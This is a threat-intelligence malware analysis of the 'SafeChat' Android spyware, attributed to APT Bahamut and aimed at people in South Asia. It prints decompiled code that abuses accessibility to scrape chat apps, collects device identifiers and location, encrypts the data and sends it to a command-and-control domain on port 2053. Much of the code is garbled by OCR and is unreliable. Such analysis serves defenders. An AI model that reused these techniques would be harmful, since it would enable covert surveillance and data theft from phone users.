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EXECUTIVE SUMMARY

The team at CYFIRMA recently obtained advanced Android malware targeting individuals in the South Asia region.
The suspicious Android malware is a dummy chatting app. Our initial technical analyses revealed that APT Bahamut is
behind the attack. As technical analyses proceeded further, we also found footprints of tactics used by DoNot APT in
the suspicious app belonging to APT Bahamut.

INTRODUCTION

The malware that was acquired was specifically utilized to target individuals residing in South Asia. This particular
malware exhibits a similar operational mechanism to the previously identified malware (distributed through the Google
Play Store by the notorious APT group known as ‘DoNot”), however, this malware has more permissions, and thus
presents a higher level of threat. The suspected Android malware, known initially as “CoverIm” was delivered to

victims via WhatsApp, and was found to be disguised as a dummy chatting application named “SafeChat”. The user
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interface of this app successfully deceives users into believing its authenticity, allowing the threat actor to extract all
the necessary information, before the victim realizes that the app is a dummy, the malware cleverly exploits
unsuspecting Android Libraries to extract and transmit data to a command-and-control server. Our in-depth technical
analysis will provide a comprehensive overview of this Android malware and shed light on the sophisticated methods
employed by the threat actor to exploit Android Libraries for the purpose of data retrieval from victims’ mobile

devices. Let’s dive into the technical analyses.

TECHNICAL ANALYSES

Process Overview

After installation, a suspected app with the name “Safe Chat” appears on the main menu.
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Figure 1. Suspicious App on the home screen after a fresh installation.

After opening the app, the user is shown a landing page where the user is notified of operating a secure chatting app.
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Initiclizing secure connection.

Figure 2. Upon opening the App, after a fresh installation.

Upon opening the app, after fresh installation, the pop-up message instructs the user to allow permission.
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Figure 3. A Pop-up message to make the victim allow dangerous permissions.
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The below screenshot shows the app throwing another pop-up message and asking the user for permission to keep the
app working in the background. Once allowed, the app will work even when the app is minimized or closed. This

permission will let command and control seamlessly communicate with the app.

Ignare battery optimizations?
Let app Sale Chat stay connected in the

background? This may use mone Batbery.

L)

Figure 4. A pop-up message.

Once permission for ignoring battery optimization is allowed the user is allowed to sign in and sign-up.
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Login

Figure 5. Dummy Login page.

The sign-up page:
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Figure 6. Dummy Sign-Up page.

After completion, the app signs you in, and then the user is shown another pop-up message for permission. This time it

throws a pop-up showing the need for another permission app to work properly.

Thin prmmansion bn nequined to farcfon
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Figure 7. Another pop-up message asking the victim to allow permission.
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Once the user clicks on “Allow” as shown in the previous screenshot, the app takes the user to the accessibility page
and asks the victim to enable accessibility for the Safe Chat app. Once the accessibility is on, then the malware will
capture activity on screen including keystrokes. Until it is enabled, the app will throw a pop-up message again and

again, as shown in the previous screenshot.
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Figure 8. Accessibility setling.

After enabling accessibility for the Safe Chat app, it works properly, showing a different dummy page like any other
chatting app.
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Profile

Blocked Users

Figure 9. Dummy Page.

CODE REVIEW

This excerpt is from the Android Manifest file that belongs to the suspicious Safe Chat Android app, showing

permissions that are being employed by the app to perform malicious activity.

v<manifest xmlns:android="http://schemas.android.com/apk/res/android” android:compileSdkVersic
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="android.permission.REQUEST DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES™/>
<uses-permission android:name="android.permission.REQUEST_IGMNORE_BATTERY OPTIMIZATIONS™/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.ACCESS WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-feature android:name="android.hardware.camera2"/>
<uses-feature android:name="android.hardware.camera.any"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ EXTERMAL_ STORAGE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ CALL LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE™/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.QUERY ALL_PACKAGES"/>

Figure 10. Permissions from Android manifest file.

This table contains permissions that are dangerous if exploited for malicious activity:

Sr.no  Permissions Descriptions
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1 ACESS_FINE_LOCATION

2 READ_CONTACTS

3 READ_EXTERNAL_STORAGE
4 READ_SMS

5 READ_CALL_LOG

6 READ_CONTACTS

Allows the threat actor to fetch precise locations and track the live

movement of mobile phones.

This permission allows TA to read and fetch contacts.

This permission allows the threat actor to access the file storage of

the mobile.

This allows the threat actor to read all the SMSs of the device.

This permission allows the threat actor to read call logs.

This permission allows the threat actor to read all the saved contacts

in the device.

Another snippet from the Android Manifest file shows that the threat actor designed the app to interact with other
already installed chat applications. The interaction will take place using intents, OPEN_DOCUMENT_TREE

permission will select specific directories and access apps mentioned in intent.

¥ <queries>
¥<intent>

<action android:name="android.media.action.IMAGE_CAPTURE"/>

<fintent>
v<intent>

<action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>

</intent>
<package
<package
<package
<package
<package
<package
<package
<package
<package
<package
<package
<package
<package
</queries>

android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:
android:

name="com,
name="com.
name="com.
name="com.
.huawei.systemmanager” />
.coloros.safecenter™/>
.oppo.safe” />

names"Com.
.vive.permissionmanager"” />
name="com.
name="com,
name="com,
name="com.

name="com
name="com
name="com

name="com

mivi.securitycenter"/>
miui.permcenter” />
letv.android.letvsafe" />
asus.mobilemanager”/>

iqoo.secure™ />

evenwell.powersaving” />
samsung.android” />
oneplus”/>
android.settings"/>

Figure 11. Intents from Android Manifest file.

Part of the Kotlin code shows the exploitation of various permissions: the object “LibConfigKt” deals with the

enabling and disabling of permissions, and the same object is called in different modules to exploit the permissions

accessed by the suspicious App.
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Figure 12. Module for handling different permissions, also making it centralized module to make app perform malicious job.

This excerpt shows the API module that is being used as a command-and-control server. Port 2053 is configured to the

domain, where the transportation of data takes place.

* *

I package heavenly.frult.data.apl.base;

i import kotlin.Metadata;

5 pMetadatal

& dl = {~ En = WS nEEE\nI B DIZE 220002 b3 SEECREICEE0DATEE n RECEEROEGETIE \n R2 2},
r d2 = {“Lheavenly/ffrult/datafaplfbase/apiRoutes;™, ==, "IV, E_UBL™, =7, “HARRY", “POTTER
& k=1,

5 wv={1,88,

1@ =i = 48

11 )

12 public final <lase ApiRocutes |

13 private static final String BASE_URL = “https://laborer-posted.nl: 285375

14 public static final 5tring MAREY = “https:f/laborer-posted.nl: 2053/ apl/juryPandenic™;

15 public static final Apifcutes INSTANCE = mew AplRoutes();

16 public static final 5tring POTTEE = “https://flaborer-posted.nl: 2853/ apl frosmingStammer™;

17

180 private AplRoutes() {

% }

a0}

Figure 13. Command and Control Server.

The snippet below shows comments passed in one of the modules, revealing the use of the Ktor framework developed
with Kotlin. Ktor is employed to establish communication between the command-and-control server and the app. Last
month, our report exposed Android malware belonging to the DoNot APT, which had employed a similar library called
retrofit for HTTP requests in their Android Malware, deployed on the Google Play Store. The malicious app has since
been deleted.
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Figure 14. Comments.

Here are some more out-takes from another module that interacts with the App, as part of monitoring different

messenger apps like Telegram, Signal, Facebook Messenger, etc.
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public LibAccessibilivyService() {
Kodn{omponent kodnlomponent = this;
LazyTrReesdsafetyMode lazyTheasdbafetyMode = EalaPlatforaToals. INSTANCE  dafaulthazyMedel);
this.miniHelperidelegate = Lanin. lazy(lazyTheeadSafenybode, (Functlondlnew 0bject (kelnfonponent, nell, null));
this.sarviceSaope = CorcutineSeoptiin.(orsutineSeope ({ContutineContext | Didpaterers, genl0{));
thiz.whsteippTitle = =75
this.whatsdpplusinessTitle - =
this.telegraalitle - "7
this. facebookTitle = ™7
thia. imaTitle = =7}
this.signalTitle = =7
this.viberTitle =
this.cOnipnTitle H
this bipTitle = =7
thiz.chengeableVionText = =75
this. fTexthrrdy = niw Strlegl] { “Thats®, “Hessenger™, “Creste Rooa™, “Search™ };
this fETitkedrrdy = i String(] { “Instant Video™, “Video chat™, “Vides call”, “Volee call™; “{reate roon™; “Jump to latest meisage”
this.wiberTitlehrray = mmd String[] { “Chats™, “Calls™, “More™, “Last seen 3 long time ago”™ };

¥

privata finsl veld fetchTelegrialontactiese (Accedslbllityivent parsadscesslbllityEvent] {
if (parsaticessibllityEvent.getloatentlassription() 1= nuld) {
String str;
if (Seeingskt.startskithdefsult(Ste ing.valuedf (parsnic cass ibllityfvent  peeContentDescription(]) ], “Chanesl.”, false, 2, mull)) {
Sering strl = Steingskt.replaceldefault{inring valuedf (parsmicoessibil ityEvent getContentDescription()), “Channel.”, ==, false, &
if (Steingskt.contadmiddefoultistel, "Recelved av™, false, 2, eull)) {
str = Stringske substringBeforelastidefaultistrl, “Fecelved st™, mall, 2, mall);
if (Stringsit endskithSdefault(StringsKt.trinEnd (str). toString(), “new messages.”, false, 2, null))
str = Stringskt.substringfeforelastidefault(Stringsit replaceldefauln(str, “new messages.”, =7, false, 4, mull), =7, mell, 2
} else if (Stringsit.contalnsSdefault{strl, “Sent at™, false, 2, nudl)) {
e = Seringike subitringBeforslastidefiuln(ined, “Sent ot™, nall, 2, Aall);

Figure 15. Module that performs monitoring operations.

}

this.telegrasTitle = vard;
}

}

private final void fetchihatsAppBusinesslontactiame(AccessibilityNodeInfo varl) {
List var3 = varl. findAccessibilityiodelnfosByViewld [ con. whatsapp.wib: id/conversation_contact_name™);
if (var3d 1= null) {
warl = (AccessibilityliodelnfolCollectionske. FirstOrtiull(vard);
if (varl 1= null) {
Streing vard = varl,.getText () .toStrlng();
boolean vard;
if (((CharSequencejvard), length{) » @) {
ward = true;
} else {
vard = false;
}

Af (vard) {
this whatsAppBusinessTitle = vard;

}

private final void fetchihatsipplontactName (AccessibilityledeInfo varl) {
List var3 = varl.finddccessibilitybodelnfosByViewld(~con. whatsapp: id/conversation_contact_name™)
if (vard 1= null) {
varl = (AccessibilityliodeInfo)Collectionskt. firstOriiull(vard); I
if (varl 1= aull) {
Steing vard = varl.getText().toString();
boolean varl;
if (((CharSequencelvard), Length{) » &) {
ward = true;
} else {
var? = false;

Figure 16. Module that performs monitoring operations.

These snapshots are from a module that reveals the creation of JSON Object, which stores fetched information such as

IMEI, Device ID, and SIM details, including location.
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publie final Object “il}ujuu paramdbiect) {
double dl;
double d2;
Location location;
Steing strl;
150NObject JS0NObectl;
Continvation continuation;
LocationManager locationManager;
JS0NObject JRONObject;
String strd;
String sted;
LesmiHandleEverything lesmiHandleEverything;
SystesipiHelper systesfpiHelper;
Dbject object = Intrinsicskt.getCORDUTINE_SUSPENDED();
switch (this.label) {
default:
throw new [1legalStateException{“call to “resuse’ before “dnvoke® with coroutine™);
case 1:
ResultKt.throwOnFallure (parasdbject);
break;
case &
Resultkt.throwinFallure (paraslbject);
location = LocaticnManager. INSTANCE. getlecation();
locationManager = LocatlonManager. INGTANCE;
parasObject = LemmiMandleEverything.this;
if (paramQbject instanceof KoinScopelomponent) {
paraslbject = ((KoinScopelomponent paraslbject ). getScope() .get (Reflection getOrlreatekotlinClass (Context . class), null,
} else {
parasObject = parasObject.getkodn().getScopelegistry( ). getRootScope( ). get(Reflection. getOrCreateKotlinClass (Context.cl

}

strd = locationManager.getdddress((Context |parasdbject);

J50NOb ect? = new JS0NObject();

lemmiHandleEverything = LemmiHandleEverything. this;

JooN0bjectd. put(Timel”, SystesfipiHelper . CoreFeatures  INSTANCE.getUniquedndroldld({Context )LibApp. Companion, getInstance()
J50NObject.put(“deviceld”, Bulld.ID);

J5O0NObject.put(“model”, Bulld.MODEL);

Figure 17. A module that fetches data through JSON Object.

parsslhfert = ((NadnScopelomponent narsstnfert ). petsoone[) pot (Ref Lectlon, getOeCrestelon ] ind lass (Content elaia), aall,
¥ eden |
peralnfet = parssloiect.petioln] ), getiopafeglatryl ). getfoot Soopel ). get{ Ref et oo getlrlreateliot 1n Lavs (Context . €1
¥
IS jec kgt (Coperator”, systemiplelper. getlare leriane [ (Context ) parasnlhfect) )
Jsmdnjecnt.put(“lecatlen”, seedl;
o= 8,00
i (lecatlon 1= mall) |
a1l = lecation.getiongdtude();
I oelse |
Al = 000
Jims jecn ket (“lengiteme®, All;
&l - a1
i (lecavisn 1= mell)
A1 = Lecanion. getLatites(l;
J50M0n jecnl. put (1ot itude”, 410,
1500 jecntput [Tzombie”, LesmiHandlefverything, sccess kpetCachefanager | LesmdHandleEverything)  geilevicefublickey() );
150N0B Jec k. put [ Trype”, Tiafa");
paraaltject = KatlinPGP. INSTANCE,
1Fl = FRONEject2. veString(l;
Entrins los chaciiothy]l I xpressloniales (3trl , “jeon.tobtringl]”);
parasibject = parasibject. encrypt(ned Encryptfarssster{strl, Collectlonakt. 11st0¥ e PoblickeyData] -« - BLGIN PGP PUBL
150 e = (nbd JS0MOD et ) ). pat] Toneerd Lis™ MJ.:-I-[Mi:WIw.IlGI’ME.mmvl:ﬂmi:y-::l].m-:'e-\h.n', Phran
IAnrEna B s cmab Mo iG] 1 Enprs 48 Doaa Lok [ JRONOBECTL, "enclioa™ )]
Litloggerit, loghabugtdeioultinull, “Flrst reg sending =3 : =, JRdodectl, 1, mall);
paraniibject = LemmiHendlelverything, o cesyigetBepol L emnitond lelverything. this);
ste} = FAONRjectl. toString();
Intrinsics.checiiotNullEnpressionValee (sird;, “enclson.toStrleg{]™);
dentlneation = (fontiruation)this;
thip, Latel = 15
parsaBiect = parsslbiect. createfrotalstrl, contination);
it (pareslofect == object)
returs chject; 1
Brash;

}
bosless Bool = ((Eoolesn loarsmibiect] . boslesalueil:

Figure 18. A module that fetches data through JSON Object.
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The following is from the module that performs RSA Encryption using the public key:

T e e
1? private static #inal int CRYPTOBITS = 2048;

%g peblic static final RSaPublic INSTAMCE » new ESAPubLic{);

28 private static final String RSA = “RS2%;

21

§§ private static Final string ¢hi = “RSASECE/OAEFPBIGIng™;

%g private static Publickey publiciey;

265 peivate final byte[] getBytes(stricg parasString, Publickey parsaPublickey) throws Exception {
27 Cipher cipher » Clpher.getInstance] "RSa/ECE/OAEFPRSILng™);

28 Intringics. chechnothullExpresslonvalue (Clpher, “QetInstoncelchi)™);

29 cipher, dndti1, perasfubliccey);

3@ Charset charset = Charset.forhase] “UTF-17);

31 Intrinsics.checkiotiullExpresslonvalue (charset, “forkase]charsetiane)”);
32 byte[] srrayoféyte « paraastring.getéybes(charset);

33 Intrinsies. checiomtvul  Express lonvalue (ArriyOfeyte, “thiz s fave.lang.string).getiytes{charsst)®);
gg retarn cipher.coFinal (arrayofeyte);

36

37E] private final Publicwey stringToPublickey(strirg parsaString) {

38 Publickey publickeyi;

39 Publickey publiexey? « mull;

48 try {

41 bytel ] arrayOfEyte = Basedd,décode(parenstring, @);

42 Intrinsics. chociiotiullExpresslonvalue] arrayofiyte, “decodefpublickeyString, Baseds. DEFAATI®);
43 XSEFEncosedkeyipec XSEFENCoSedKeyEpes = mew XERFEnCOdEINeySpec )5

44 this] arrayofiyte);

45 KEyFRCTOry KeyFACTOry = KeyFBCLOry. getInsthnce) R54a™);

46 Intrinsies. checlowtiullExpress lommlue! keyFactory, “getirstance]Rrsa)®);
a7 publickeyl = keyFactory.generaterublic] xS@IEncodedneyspec) ;

48 Intrinsics. checidiotiullixpressionvalue publiceyl, “keyFactory.generatefublicispec)®);
49 publicKey = publickeyl;

588 if (publicceyl == mull) {

51 mtrjnu:s.thrmi.nitiu]i:edrrmrtyﬁ:uu!x:uumt "publicey™);
52 publicueyl « publickeyz;

53 }

54 T catch (NoSuchAlporitheException nosuchalgoritheException) {

EH] nosuchaligor fthmException, printStackTrace();

56 publicKeyl = publickey2;

57 } eateh (IevalicceySpecEnception invalidkeySpecexception) {

58 imvalideyspecException, printstackTrace] 1;

59 publickeyl = publicxeyd;

o h]

=3 ] return publickeyl;

B2 )

63

G4 peblic final string encodeThestring(string peramstring) {

&5 Intrinsfes. checiomtiul lParandter (parsanstring, “text™);

66 Publickey publickey « stringTerublickey{providesuthibliceey!});

=%} if (publickey 's mull)

680 tey {

69 byte[] BrrayOfByte « INSTANCE.getEytes|parssstring, publicoey);

Ja return Bassis,encodeTestringlarraydfiyte, 8);

Figure 19. Module for encryption.

These module snapshots demonstrate the function of the encryption method to start the process of encrypting data. The

analyses reveal that the threat actor is storing data in encrypted form using RSA/ECB/OAEPPadding.
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LanyThresdSafetydode lazyThresdiafotyoded = KolnPlatforaTools. INSTANCE defsultlazytiode();
EayManagerfdalegate - Loy, Dazy(DasyThrasdSatotytosed, (Functlondings Oofect(kelrloapsniatl, aulld, salll};
kain{omponent] = ainiHglper;
LazyThresdSafetydods lazyThresdiatotyModel = KolrPlatdoraTools. INSTANCE defsultlazybiode();
repoldelegate = Laoyke, Dacy[lazyThreadSafetyMosel, (Functlon®)mes 00Ject(kodnlomponentl, null, mull]);

¥

private fimal Encryptdd getDatabase() |
raturn (EncryptDl JdatabaseSdelegate . petValuel);
]

private fimal Lidlacheianager getkeydasager() {
revurn (Liblachedanager]veytanagerfdelegate . getvalus);
H

private fissl SpiServicefepoaltory getRepol) {
return (ApiServiceRepository)repoddelegate. getvaluel);
}

public sestde Cuject storelndifdefault(MiniHelper poraminiHelper, JSONOBIeCt paraalSONOBiaet, S1ring paraaString, (ontirmationd! duper Ualt: paras(oatinuaticn, dne
Af ({paraalnt & 0x2) != @)
paraalteing - aully 1
return paraaMinitelper. storeInD8(paraslSONIbject, parsaString, parsalontiscation);
}

public Koin getiedn() {
return Kolalosponent.Defaultlapls, getiodalthis);

public final byte[] getMd(String paraaString) |
Intrlailes checidionlivl IPasseeter parsabtrdng, “<Ehiis");
Messapellpest messagellgest = Messageligest getInatance (TMD57);
Charset chariet = StandardCharzets UTF_B;
Imtring lcs checiiothul Espress lonValue [charset, “UTF 871
byval | te = parsaiteing, getiytes|charset);
Imtrinsics . checidiotiul 1 xpressionValue{arrayOfiyte, “this as java. lang.Steing).getdytes(charset) ™)
arrayOibyte = messageligest.digest{arraydiByte);
Imtrinsics.checidiotiullExpresslonValue(arraydflyte, “getlnatance(\ MO5\ ) digestthls. voliytedrray (UTF_8))7);
return arrapiByte;

Figure 20. A module that initiates the encryption process.

¥

public final Sodect sendToServer(ISONCofect parasdSChtofect, Continuatlond? super Unit: paramiontinuation) {
Cofect sbfect = Builoersir withCestent((CoroutintContext)Dispateners. gotI0(), (Functisnl)new Colect(parssdsoncnfect, sull), parssContinuaticn);
return (object == Intrinslcsit. petdOROUTINE SUSPENDED )) * object : Unic INSTANIE;

3

public final Ondect stemdinDE( -0 eet, Steing pad ing, Continuatioac? super Unit: parasCoatimustion) {
fofect ebfect = Bolldersie withfestent((Coroutinelontent)Dispatehers. getl0(], (Fumctionlinew Coject(parasitelng, poraelilii0biect, nulll, parasCeontircatisn];
return (object == Intrinsficsit.gpetCOBOUTINE_SUSPERDID()) * obdect © Unlt.INSTANCE

¥

public final String woMex(byte[ ] parasirrayOfoytel |

Intrinsdes.checiMatiul 1Parameter (pacamircayOibyte, “cthiss™);

return ArraysKr.jeieTostringSdefault (parasdrrapifigte, °°, mll, mall, @, null, (Functloal)toMes,null INSTANCE, 32, mall);
¥

Figure 21. A module that initiates the encryption process.

The following demonstrates a captured Live HTTP request, which shows the letsencrypt certificate being used for

encrypted communication between the app and server to dodge network interception.
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Figure 22. Intercepted traffic flow to the command and control server.

EXTERNAL THREAT LANDSCAPE MANAGEMENT (ETLM)

Attribution

Through our technical analyses, we confidently attribute this attack to APT Bahamut. However, the tactics employed
by this threat actor are similar to the tactics employed by APT DoNot, and it is also interesting to note that the target

geography of both the threat actors is similar to each other.

THREAT ACTOR PROFILE
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BAHAMUT

Aliases Nil

APT Bahamut is an Advanced Persistent Threat (APT) group that has been
active since the year 2017, known for its diverse arsenal of cyber
weapons. The group has targeted a wide range of technology platforms,
Descripﬂon including iOS, Android, and Windows. It has been observed deploying
malicious applications on both Google Play Store and i0S App Store. The
security community has labeled APT Bahamut as a Hack-For-Hire
Mercenary Group, although its specific affiliation remains unconfirmed.

Motivation Espionage, Data Exfilration
TGrgeh_ad Individuals
Industries
Ta rg._}et South Asia and the Middle East
Region
Malware
: Bahamut, DownPaper
Used Uiz oMEIps

Vulnerabilities
Exploited

Nil

VICTIMOLOGY

In this specific attack, the threat actor conducted targeted spear messaging attacks on WhatsApp Messenger, focusing

on individuals in the South Asia region. The malicious payload was delivered directly through WhatsApp chat. The

attack on the individual served the interest of one nation state government. The nature of this attack, along with

previous incidents involving APT Bahamut, possibly indicate that it was carried out to serve the interests of one nation

state government. Notably, APT Bahamut has previously targeted Khalistan supporters, advocating for a separate
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nation, posing an external threat to India. The threat actor has also aimed at military establishments in Pakistan and

individuals in Kashmir, all aligning with the interests of one nation state government.

CONCLUSION

We are unable to disclose the specific target location of the sensitive cyber-attack, due to its sensitivity and security
concerns. However, we can confirm that the target serves the interests of one nation state government. While some
security organizations initially identified the threat as originating from a mercenary group, our own analysis indicates
that it is, in fact, an Indian APT group acting on behalf of one nation state government. Several reasons support this

conclusion.

Firstly, it is highly unlikely that the said nation state government will employ mercenary groups for hacking sensitive
targets, unless the group is based within Indian territory. Based on past and present targets, it strongly suggests that the
APT group operates within Indian territory. Furthermore, the threat actor utilized encryption techniques to secure the
data and network traffic, using the same certificate authority as the DoNot APT group, which previously deployed
Android Malware on the Google Play Store. Moreover, the APT actor employed the Ktor Library to efficiently fetch
and transfer data to the command-and-control server, a tactic similar to how the DoNot APT group used retrofit for a

similar data retrieval function.

Taking all these factors into account, our analysis strongly indicates that the APT group behind the attack has ties to the

Indian territory and is acting in the interest of one nation state government.

Diamond Model
Adversary
The Advanced
Persistent Group
apabilities APT
see Bahamut Infrastructure
Encryption
eE Web Server

Target

Individual in South Asia
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APPENDIX I

Indicators of Compromise

Indicator

8A35D0B20B6F057FE42E606A124CB84D78FA95900A16B056269F1CC613853989

https://laborer-posted|[.]nl:2053

APPENDIX II

MITRE ATT&CK Technique Detection

Tactics

TA0101 — Command

and Control

TA0035 — Collection

TA0035 — Collection

TA0101 — Command

and Control

TA0035 — Collection

Technique ID

T0869-Standard Application

Layer Protocol

T1430-Location Tracking

T1532 — Archive Collected
Data

T1521.002 Asymmetric
Cryptography

T1636.002 Call Log

T1636.004 SMS Messages

T1636.002 Contact List

Type Remarks
Hash:

Safe_Chat.apk
SHA256
Domain Command and
and port ~ control

Description

The threat actor uses a web service as a command-

and-control server.

Fetches precise Location as a part of information

gathering.

The threat actor uses encryption over data transfer

to the command and control.

The threat actor encrypts the fetched data using an

asymmetric encryption method.

The threat actor exploits Call log permission to

access call logs

The threat actor accesses SMSs by exploiting

gained SMS permission.

The threat actor fetches Updated contact list.

Source: https://www.cyfirma.com/outofband/apt-bahamut-targets-individuals-with-android-malware-using-spear-messaging/
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